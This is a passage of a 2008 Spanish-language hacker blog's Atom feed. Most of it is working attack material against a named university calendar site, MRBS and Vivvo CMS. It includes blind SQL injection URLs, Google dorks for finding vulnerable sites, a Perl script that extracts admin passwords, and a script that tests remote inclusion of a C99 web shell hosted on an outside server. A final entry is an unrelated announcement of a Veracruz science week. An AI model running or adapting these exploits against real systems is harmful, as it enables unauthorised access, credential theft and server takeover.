Xianur0, I write about and reported security flaws in its system, to begin a Blind SQL Injection (do not authorized to consult your SQL system (MySQL)) for example:&lt;br /&gt;&lt;br /&gt;http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&amp;amp;month=08&amp;amp;area=1+AND+ascii(substring((SELECT+user()),1,1))=109&lt;br /&gt;http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&amp;amp;month=08&amp;amp;area=1+AND+ascii(substring((SELECT+user()),2,1))=114&lt;br /&gt;http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&amp;amp;month=08&amp;amp;area=1+AND+ascii(substring((SELECT+user()),3,1))=98&lt;br /&gt;http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&amp;amp;month=08&amp;amp;area=1+AND+ascii(substring((SELECT+user()),4,1))=115&lt;br /&gt;http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&amp;amp;month=08&amp;amp;area=1+AND+ascii(substring((SELECT+user()),5,1))=64&lt;br /&gt;http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&amp;amp;month=08&amp;amp;area=1+AND+ascii(substring((SELECT+user()),6,1))=108&lt;br /&gt;http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&amp;amp;month=08&amp;amp;area=1+AND+ascii(substring((SELECT+user()),7,1))=111&lt;br /&gt;http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&amp;amp;month=08&amp;amp;area=1+AND+ascii(substring((SELECT+user()),8,1))=99&lt;br /&gt;http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&amp;amp;month=08&amp;amp;area=1+AND+ascii(substring((SELECT+user()),9,1))=97&lt;br /&gt;http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&amp;amp;month=08&amp;amp;area=1+AND+ascii(substring((SELECT+user()),10,1))=108&lt;br /&gt;http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&amp;amp;month=08&amp;amp;area=1+AND+ascii(substring((SELECT+user()),11,1))=104&lt;br /&gt;http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&amp;amp;month=08&amp;amp;area=1+AND+ascii(substring((SELECT+user()),12,1))=111&lt;br /&gt;http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&amp;amp;month=08&amp;amp;area=1+AND+ascii(substring((SELECT+user()),13,1))=115&lt;br /&gt;http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&amp;amp;month=08&amp;amp;area=1+AND+ascii(substring((SELECT+user()),14,1))=116&lt;br /&gt;&lt;br /&gt;By making a SQL incorrect table stays empty rooms or with a single element, to be correct these consultations, the table shows all the rooms.&lt;br /&gt;&lt;br /&gt;Sorting the results in ASCII:&lt;br /&gt;109,114,98,115,64,108,111,99,97,108,104,111,115,116&lt;br /&gt;&lt;br /&gt;and translate them into a readable string, we get:&lt;br /&gt;mrbs@localhost&lt;br /&gt;&lt;br /&gt;Which is the user of MySQL used by the system, now we made another inquiry to identify which tables are permitted for that user in MySQL:&lt;br /&gt;http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&amp;amp;month=08&amp;amp;area=1 AND (SELECT count (*) FROM INFORMATION_SCHEMA.TABLES)&lt;br /&gt;There database: INFORMATION_SCHEMA and table: tables, this database contains information on the MySQL (for example: tables, columns, etc.), we now how many databases that are in mysql:&lt;br /&gt;&lt;br /&gt;http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&amp;amp;month=08&amp;amp;area=1 AND (SELECT count (TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES) = 20&lt;br /&gt;&lt;br /&gt;This means that there are 20 databases recorded in the INFORMATION_SCHEMA, and if we keep the first step (to which we obtained the user can obtain the structure of the system, users obtain and carry out an attack on the system).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Profile: http://milw0rm.com/author/1657&lt;br /&gt;Nick: Xianur0&lt;br /&gt;Web: http://xianur0.blogspot.com&lt;br /&gt;Email: uxmal666@gmail.com&lt;br /&gt;&lt;br /&gt;Sorry For My Bad English&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;bueno el mensaje sirve como ejemplo de Blind SQL Injection manual xD...&lt;br /&gt;&lt;br /&gt;jeje hasta los grandes tienen sus malos momentos...&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-3695827697042905771?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/3695827697042905771/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=3695827697042905771' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3695827697042905771'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3695827697042905771'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/10/princeton-blind-sql-injection.html' title='Princeton Blind SQL Injection'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-810599182524051803</id><published>2008-10-19T15:41:00.000-07:00</published><updated>2008-10-19T15:46:45.883-07:00</updated><title type='text'>Vivvo CMS &lt;= 3.4 Multiple Vulnerabilities Destroyer Exploit</title><content type='html'>&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size: 100%;"&gt;&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;#Vivvo CMS Destroyer&lt;br /&gt;#uxmal666@gmail.com&lt;br /&gt;#By Xianur0&lt;br /&gt;#-------------CREDITS-------------&lt;br /&gt;#http://milw0rm.com/exploits/4192&lt;br /&gt;#http://milw0rm.com/exploits/3326&lt;br /&gt;#http://milw0rm.com/exploits/2339&lt;br /&gt;#http://milw0rm.com/exploits/2337&lt;br /&gt;#-------------/CREDITS-------------&lt;br /&gt;&lt;br /&gt;print "\n                           Vivvo CMS Destroyer By Xianur0\n";&lt;br /&gt;&lt;br /&gt;#-----------CONFIG----------&lt;br /&gt;$SHELL='http://y4m15p33dy.vilabol.uol.com.br/c99.txt';&lt;br /&gt;$textshell = 'C99Shell v.';&lt;br /&gt;#----------/CONFIG----------&lt;br /&gt; use LWP::UserAgent;&lt;br /&gt; use Switch;&lt;br /&gt; my $path = $ARGV[0];&lt;br /&gt; $path = shift || &amp;uso;&lt;br /&gt;sub uso { print "\nUse: vivvo.pl [URI to Vivvo CMS]\n"; exit;}&lt;br /&gt; $ua = LWP::UserAgent-&amp;gt;new;&lt;br /&gt; $ua-&amp;gt;agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17");&lt;br /&gt; $req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $path."/feed.php?output_type=rss");&lt;br /&gt; $req-&amp;gt;header('Accept' =&amp;gt; 'text/javascript, text/html, application/xml, text/xml, */*');&lt;br /&gt; $res = $ua-&amp;gt;request($req);&lt;br /&gt; if ($res-&amp;gt;is_success &amp;amp;&amp;amp; $res-&amp;gt;content =~ "generator") {&lt;br /&gt;&amp;amp;parser($res-&amp;gt;content);&lt;br /&gt; } else {&lt;br /&gt; $req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $path."/index.php?feed");&lt;br /&gt; $req-&amp;gt;header('Accept' =&amp;gt; 'text/javascript, text/html, application/xml, text/xml, */*');&lt;br /&gt; $res = $ua-&amp;gt;request($req);&lt;br /&gt; if ($res-&amp;gt;is_success &amp;amp;&amp;amp; $res-&amp;gt;content =~ "generator") {&lt;br /&gt;&amp;amp;parser($res-&amp;gt;content);&lt;br /&gt; }&lt;br /&gt;   else { print "\nError getting data!\n"; exit;}&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;&amp;backups;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sub parser {&lt;br /&gt;my @datos = split('&amp;lt;generator&amp;gt;Vivvo CMS ', $_[0]);&lt;br /&gt;my @version = split('&amp;lt;/generator&amp;gt;', $datos[1]);&lt;br /&gt;$version = $version[0];&lt;br /&gt;if($version[0] == "") {&lt;br /&gt;my @datos = split('&amp;lt;meta name="generator" content="Vivvo ', $_[0]);&lt;br /&gt;my @version = split('" /&amp;gt;', $datos[1]);&lt;br /&gt;$version = $version[0];&lt;br /&gt;}&lt;br /&gt;print "Version: ".$version."\n";&lt;br /&gt;if($version &amp;lt; "4") { print "Outdated version of Vivvo CMS!\n"; &amp;amp;desactualizada($version);}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub backups {&lt;br /&gt; $req = HTTP::Request-&amp;gt;new(GET =&amp;gt; "$path/backup");&lt;br /&gt; $req-&amp;gt;header('Accept' =&amp;gt; 'text/xml');&lt;br /&gt; $res = $ua-&amp;gt;request($req);&lt;br /&gt; if ($res-&amp;gt;is_success) {&lt;br /&gt;if($res-&amp;gt;content =~ "&amp;lt;title&amp;gt;Index of /backup&amp;lt;/title&amp;gt;") {&lt;br /&gt;print "\n              Backups:\n";&lt;br /&gt;my @datos = split('&amp;lt;a href="', $res-&amp;gt;content);&lt;br /&gt;$datos[0] = "";&lt;br /&gt;foreach $archivos (@datos) {&lt;br /&gt;my @archivo = split('"&amp;gt;', $archivos);&lt;br /&gt;if($archivo[0] !~ /\?/){print $archivo[0]."\n"; }&lt;br /&gt;}&lt;br /&gt;print "\nUnprotected Directory: $path/backup\n";&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub rfi {&lt;br /&gt;$vuln = $_[0];&lt;br /&gt; $req = HTTP::Request-&amp;gt;new(GET =&amp;gt; "$path/$vuln=$SHELL?");&lt;br /&gt; $req-&amp;gt;header('Accept' =&amp;gt; 'text/xml');&lt;br /&gt; $res = $ua-&amp;gt;request($req);&lt;br /&gt; if ($res-&amp;gt;is_success) {&lt;br /&gt;if($res-&amp;gt;content =~ $textshell) {&lt;br /&gt;print "RFI Detected!: $path/$vuln=$SHELL?";&lt;br /&gt; }&lt;br /&gt;}}&lt;br /&gt;&lt;br /&gt;sub sql {&lt;br /&gt;$exploit = "pdf_version.php?id=-1%20UNION%20SELECT%201,2,3,password,5,6,username,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20FROM%20tblUsers%20where%20userid=1";&lt;br /&gt; $req = HTTP::Request-&amp;gt;new(GET =&amp;gt; "$path/$exploit");&lt;br /&gt; $req-&amp;gt;header('Accept' =&amp;gt; 'text/xml');&lt;br /&gt; $res = $ua-&amp;gt;request($req);&lt;br /&gt; if ($res-&amp;gt;is_success) {&lt;br /&gt;print "SQL Injection Generated: $path$exploit";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub blind {&lt;br /&gt;for($i=1; $i&amp;lt;32;$i++) {&lt;br /&gt;for($o=30; $o&amp;lt;102;$o++) {&lt;br /&gt;$injection = "$path/index.php?category=/**/AND/**/(ascii(substring((SELECT/**/password/**/FROM/**/tblUsers/**/WHERE/**/userid=1),".$i.",1))=".$o;&lt;br /&gt; $req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $injection);&lt;br /&gt; $req-&amp;gt;header('Accept' =&amp;gt; 'text/xml');&lt;br /&gt; $res = $ua-&amp;gt;request($req);&lt;br /&gt; if ($res-&amp;gt;is_success) {&lt;br /&gt;if($res-&amp;gt;content != "") {&lt;br /&gt;print "Blind Done Correctly!: $injection";&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;}}}&lt;br /&gt;&lt;br /&gt;sub desactualizada {&lt;br /&gt;$version = $_[0];&lt;br /&gt; switch ($version) {&lt;br /&gt;   case "3.4"    { print "Blind SQL Injection trying ....\n"; &amp;blind; print "Intentando RFI....\n"; &amp;amp;rfi('include/db_conn.php?root');}&lt;br /&gt;   case "3.2"    { print "RFI trying ....\n"; &amp;amp;rfi('index.php?classified_path'); print "SQL Injection....\n"; &amp;sql;}&lt;br /&gt;       else { print "There is no registration for this Exploit Version! : (\n";}&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;http://milw0rm.com/exploits/6789&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-810599182524051803?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/810599182524051803/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=810599182524051803' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/810599182524051803'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/810599182524051803'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/10/vivvo-cms-34-multiple-vulnerabilities.html' title='Vivvo CMS &lt;= 3.4 Multiple Vulnerabilities Destroyer Exploit'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-5416812199035052285</id><published>2008-10-17T18:25:00.000-07:00</published><updated>2008-10-18T11:19:17.245-07:00</updated><title type='text'>Blind SQL Injection in MRBS (Meeting Room Booking System)</title><content type='html'>"MRBS is a system for multi-site booking of meeting rooms. Rooms are grouped by building/area and shown in a side-by-side view. Although the goal was initially to book rooms, MRBS can also be used to book any resource (computer, planes, whatever you want)".&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Web CMS:&lt;/b&gt; &lt;a href="http://sourceforge.net/projects/mrbs/" target="_blank"&gt;http://sourceforge.net/projects/mrbs/&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Affected:&lt;/b&gt; Previous versions of mrbs 1.4&lt;br /&gt;&lt;b&gt;Solution:&lt;/b&gt; Update to Version 1.4&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Doorks:&lt;/b&gt;&lt;br /&gt;"Meeting Room Booking System" "month.php?area="&lt;br /&gt;"Meeting Room Booking System" "day.php?area="&lt;br /&gt;"Meeting Room Booking System" "week.php?area="&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Author:&lt;/b&gt; Xianur0&lt;br /&gt;&lt;b&gt;Try:&lt;/b&gt; &lt;a href="http://www.sitio.com/path/month.php?area=1/" target="_blank"&gt;http://www.sitio.com/path/month.php?area=1/&lt;/a&gt;**/and/**/1=0&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Exploit:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div style="overflow: scroll;" class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;#Xianur0 CYS # perl blind.pl http://www.victima/st/schedule/ 'SELECT user()'&lt;br /&gt;#&lt;br /&gt;#Exploit MRBS By Xianur0&lt;br /&gt;#&lt;br /&gt;#Please Have Patience, The Blind SQL Injection is running.........&lt;br /&gt;#pma@localhost&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;#Finished!&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# By Xianur0&lt;br /&gt;&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;&lt;br /&gt;%ascii = ("32", " ","32", " ","33", "!","34", '"',"35", "#","36", '$',"37", "%","38", "&amp;amp;","39", "'","40", "(","41", ")","42", "*","43", "+","44", ",","45", "-","46", ".","47", "/","48", "0","49", "1","50", "2","51", "3","52", "4","53", "5","54", "6","55", "7","56", "8","57", "9","58", ":","59", ";","60", "&amp;lt;","61", "+","62", "&amp;gt;","63", "?","64", '@',"65","A","66","B","67","C","68","D","69","E","70","F","71","G","72","H","73","I","74","J","75","K","76","L","77","M","78","N","79","O","80","P","81","Q","82","R","83","S","84","T","85","U","86","V","87","W","88","X","89","Y","90","Z","95","_","97", "a", "98", "b", "99", "c", "100", ,"d","101","e", "102", "f", "103","g", "104", "h", "105","i", "106", "j", "107","k", "108", "l", "109","m", "110", "n", "111","o", "112", "p", "113","q", "114", "r", "115","s", "116", "t", "117","u", "118", "v", "119","w", "120", "x", "121","y", "122", "z");&lt;br /&gt;&lt;br /&gt;$ua = LWP::UserAgent-&amp;gt;new;&lt;br /&gt;$ua-&amp;gt;agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17");&lt;br /&gt;$url = $ARGV[0];&lt;br /&gt;$sql = $ARGV[1] || die("Use: blind.pl [Complete URL] [SQL Injection]\nExample: blind.pl http://www.victima.com/mrbs/ 'SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES'\n");&lt;br /&gt;print "\nExploit MRBS By Xianur0 \n\nPlease Have Patience, The Blind SQL Injection is running.........\n";&lt;br /&gt;$caracter = 1;&lt;br /&gt;$i=0;&lt;br /&gt;$detector = '&amp;lt;h1&amp;gt;No rooms defined for this area&amp;lt;/h1&amp;gt;';&lt;br /&gt;$simbolo = "&amp;gt;";&lt;br /&gt;while($caracter ne "finito") {&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $url.'/month.php?year=2008&amp;amp;month=08&amp;amp;area=1%20AND ascii(substring(('.$sql.'),'.$caracter.',1)) '.$simbolo.' '.$i);&lt;br /&gt;$req-&amp;gt;header('Accept' =&amp;gt; 'text/html');&lt;br /&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;if ($res-&amp;gt;is_success) {&lt;br /&gt;   if($res-&amp;gt;content !~ $detector) {&lt;br /&gt;if($base eq $i) { print "$ascii{$i}"; $caracter++; $i=0; $simbolo = "&amp;gt;";}&lt;br /&gt;$base = $i;&lt;br /&gt;$i = $i+10;&lt;br /&gt;} else { if($i eq 0) { print "\nError Performing Blind (Less Value to 0)!\n"; $caracter = "finito";} else {$i = $i-1; $simbolo = "=";}&lt;br /&gt;}&lt;br /&gt;} else {&lt;br /&gt;   print "\nError detected in HTTP requests: " . $res-&amp;gt;status_line . "!\n";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;print "\nFinished!\n";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;a href="http://milw0rm.com/exploits/6781"&gt;http://milw0rm.com/exploits/6781&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-5416812199035052285?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/5416812199035052285/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=5416812199035052285' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/5416812199035052285'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/5416812199035052285'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/10/blind-sql-injection-in-mrbs-meeting.html' title='Blind SQL Injection in MRBS (Meeting Room Booking System)'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-5154264521879309796</id><published>2008-10-16T17:20:00.000-07:00</published><updated>2008-10-16T17:27:55.978-07:00</updated><title type='text'>15ª Semana Nacional de Ciencia y Tecnología en Veracruz</title><content type='html'>En la Semana Nacional de Ciencia y Tecnología (SNCT), niños y jóvenes conocen las múltiples posibilidades que ofrecen las áreas de la ciencia en los campos de la actividad productiva, la investigación científica y la docencia; su misión es promover la ciencia y proyectarla como pilar fundamental del desarrollo económico, cultural y social de nuestro país. Comparten este propósito las instituciones educativas, asociaciones científicas, secretarías de estado, empresas, centros de investigación, museos de ciencia y gobiernos estatales.&lt;p&gt;La SNCT se realizará del 20 al 24 de octubre en todo el territorio nacional y se concreta en eventos creativos y propositivos de científicos, maestros, divulgadores y empresarios mediante ciclos de conferencias, talleres, exposiciones, demostraciones, visitas guiadas, concursos y ferias científicas, entre otros.   &lt;/p&gt;&lt;p&gt;En el estado de Veracruz coordinan la SNCT el Consejo Veracruzano de Ciencia y Tecnología (Covecyt), la Universidad Veracruzana (UV), el Instituto de Ecología (Inecol), las secretarías de Educación en Veracruz (SEV) y de Educación Pública (SEP), la oficina del Conacyt en el estado, los ayuntamientos de Xalapa, Banderilla y Coatepec, con el apoyo de las autoridades educativas estatales, entre otros.&lt;br /&gt;&lt;br /&gt;Actividades en Xalapa&lt;/p&gt;&lt;p&gt;La inauguración será el lunes 20 de octubre a las 18:00 horas en el Palacio Municipal, con el mensaje de bienvenida del alcalde David Velasco Chedraui. Acto seguido, autoridades del Conacyt, Covecyt, UV, SEV, SEP y del Fondo de Cultura Económica (FCE) entregarán reconocimientos a alumnos destacados en eventos científicos nacionales.&lt;/p&gt;&lt;p&gt;Posteriormente, Zaira Domínguez Esquivel, investigadora de la Unidad de Servicios de Apoyo de Resolución Analítica de la UV, dará un mensaje a los asistentes. Se cierra el evento con un concierto de la Orquesta Municipal de Xalapa.&lt;/p&gt;&lt;p&gt;Al día siguiente se inauguran los Espacio de Ciencia y Tecnología en Xalapa, Banderilla y Coatepec.&lt;br /&gt;En Xalapa el Espacio de Ciencia y Tecnología será el Centro Recreativo Xalapeño, del martes 21 al jueves 23 de octubre, en horario de 10:00 a 14:00 y de 17:00 a 20:00 horas, con las siguientes actividades:&lt;br /&gt;El martes se hará la presentación de la convocatoria 2009 “Leamos la Ciencia para Todos” para estudiantes de secundaria, bachillerato y universidad. Durante todo el día habrá charlas de divulgación científica, así como los talleres “Juguemos con la ciencia” y “Manejo de residuos: integrando conocimiento y práctica para el cuidado ambiental”, dirigidos a docentes y padres de familia. Se podrá recorrer la exposición de prototipos tecnológicos de las diferentes instituciones de educación.&lt;/p&gt;&lt;p&gt;El miércoles se ofrecen charlas de divulgación científica impartidas por investigadores de la UV y el Inecol, con temas interesantes como “La basura, un problema o una oportunidad” o “Una aproximación al protométodo (o cómo hacer chilaquiles sin quemarlos)”, con los Camaradas de la Ciencia. Se organizan los talleres “Manejo de residuos: Integrando conocimiento y práctica para el cuidado ambiental” y “Una ruta hacia la lectura de la ciencia” y continúa la exposición de prototipos tecnológicos.&lt;/p&gt;&lt;p&gt;El jueves siguen charlas de divulgación científica como “Robótica Didáctica”; también los talleres “Lectura y creatividad”, “Las ciencias y el ámbito cotidiano” y “Separa, aprende, diviértete y salva al planeta”. La exposición de prototipos tecnológicos, “El Bingo de la Ciencia”, y la obra de teatro La ciencia no es como la pintan… de rojo. La versión del Lobo y la caperucita…roja.&lt;/p&gt;&lt;p&gt;Informes con Adalberto Fox al correo   &lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  var prefix = '&amp;#109;a' + 'i&amp;#108;' + '&amp;#116;o';  var path = 'hr' + 'ef' + '=';  var addy86523 = '&amp;#97;f&amp;#111;x' + '&amp;#64;';  addy86523 = addy86523 + '&amp;#117;v' + '&amp;#46;' + 'mx';  document.write( '&lt;a&gt;' );  document.write( addy86523 );  document.write( '&lt;\/a&gt;' );  //--&gt;\n &lt;/script&gt;&lt;a href="mailto:afox@uv.mx"&gt;afox@uv.mx&lt;/a&gt;&lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  document.write( '&lt;span style="\'display:"&gt;' );  //--&gt;  &lt;/script&gt;&lt;span style="display: none;"&gt;Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla  &lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  document.write( '&lt;/' );  document.write( 'span&gt;' );  //--&gt;  &lt;/script&gt;&lt;/span&gt;, o al teléfono 817-40-57.&lt;br /&gt;&lt;br /&gt;Periodismo científico&lt;/p&gt;&lt;p&gt;Martín Bonfil, de la Dirección de Divulgación Científica de la UNAM, ofrecerá del 20 al 22 de octubre, de 10:00 a 14:00 horas, el III Curso de Periodismo Científico, dirigido a los profesionales de los medios de comunicación del estado, en la sala de videoconferencias de la Dirección de Investigaciones de la UV en Xalapa, con transmisión a las salas de videoconferencias de Poza Rica, Coatzacoalcos, Boca del Río y Orizaba. Inscripciones gratuitas al correo &lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  var prefix = '&amp;#109;a' + 'i&amp;#108;' + '&amp;#116;o';  var path = 'hr' + 'ef' + '=';  var addy69817 = 'c&amp;#111;v&amp;#101;cyt' + '&amp;#64;';  addy69817 = addy69817 + 'gm&amp;#97;&amp;#105;l' + '&amp;#46;' + 'c&amp;#111;m';  document.write( '&lt;a&gt;' );  document.write( addy69817 );  document.write( '&lt;\/a&gt;' );  //--&gt;\n &lt;/script&gt;&lt;a href="mailto:covecyt@gmail.com"&gt;covecyt@gmail.com&lt;/a&gt;&lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  document.write( '&lt;span style="\'display:"&gt;' );  //--&gt;  &lt;/script&gt;&lt;span style="display: none;"&gt;Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla  &lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  document.write( '&lt;/' );  document.write( 'span&gt;' );  //--&gt;  &lt;/script&gt;&lt;/span&gt; con Heriberto Contreras, o al teléfono 841-36-70.&lt;br /&gt;&lt;br /&gt;Espacio de Ciencia y Tecnología en Banderilla&lt;/p&gt;&lt;p&gt;Las actividades serán en “La casa del abuelo” en el centro de Banderilla, del miércoles 22 al viernes 24 de octubre, de 9:00 a 12:00 horas, y se ofrecerán talleres científicos simultáneos como las Olimpiaguas; &lt;/p&gt;&lt;p&gt;¿Está claro?; Hidráulica colonial; Uniéndose; Ramificaciones y Visualizando el agua subterránea. También se hará la proyección de videos, una presentación de prototipos tecnológicos, así como talleres para docentes.&lt;/p&gt;&lt;p&gt;En esta sede se hará la clausura oficial de la SNCT el día viernes con la presentación de las convocatorias a los concursos infantil y juvenil “Imagina la ciencia y la tecnología”. Coordina Gloria Jiménez, al correo &lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  var prefix = '&amp;#109;a' + 'i&amp;#108;' + '&amp;#116;o';  var path = 'hr' + 'ef' + '=';  var addy19865 = 'j&amp;#105;mm&amp;#111;r&amp;#101;g' + '&amp;#64;';  addy19865 = addy19865 + 'h&amp;#111;tm&amp;#97;&amp;#105;l' + '&amp;#46;' + 'c&amp;#111;m';  document.write( '&lt;a&gt;' );  document.write( addy19865 );  document.write( '&lt;\/a&gt;' );  //--&gt;\n &lt;/script&gt;&lt;a href="mailto:jimmoreg@hotmail.com"&gt;jimmoreg@hotmail.com&lt;/a&gt;&lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  document.write( '&lt;span style="\'display:"&gt;' );  //--&gt;  &lt;/script&gt;&lt;span style="display: none;"&gt;Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla  &lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  document.write( '&lt;/' );  document.write( 'span&gt;' );  //--&gt;  &lt;/script&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;También en Coatepec&lt;/p&gt;&lt;p&gt;En el Palacio Municipal, el lunes  20 de octubre se llevará a cabo el programa de la SNCT, iniciando con un mensaje de Sergio Ramírez Cabañas, presidente municipal, después de la conferencia que ofrecerá Gerardo Mata Montes de Oca, secretario técnico del Inecol. A las 11:00 horas se presentará la obra de teatro Alpha: un pedacito de cielo, y posteriormente se hará un recorrido por la exposición de prototipos del CBTIS 165.&lt;/p&gt;&lt;p&gt;Habrá un concurso de dibujo infantil y la Carrera de la Semana de la Ciencia. Cerrando con música veracruzana con el grupo “Zarambeaque”. Coordina en Coatepec Guadalupe López &lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  var prefix = '&amp;#109;a' + 'i&amp;#108;' + '&amp;#116;o';  var path = 'hr' + 'ef' + '=';  var addy48795 = 'gpl&amp;#111;p&amp;#101;z' + '&amp;#64;';  addy48795 = addy48795 + '&amp;#101;c&amp;#111;l&amp;#111;g&amp;#105;&amp;#97;' + '&amp;#46;' + '&amp;#101;d&amp;#117;' + '&amp;#46;' + 'mx';  document.write( '&lt;a&gt;' );  document.write( addy48795 );  document.write( '&lt;\/a&gt;' );  //--&gt;\n &lt;/script&gt;&lt;a href="mailto:gplopez@ecologia.edu.mx"&gt;gplopez@ecologia.edu.mx&lt;/a&gt;&lt;script language="JavaScript" type="text/javascript"&gt;  &lt;!--  document.write( '&lt;span style="\'display:"&gt;' );  //--&gt;  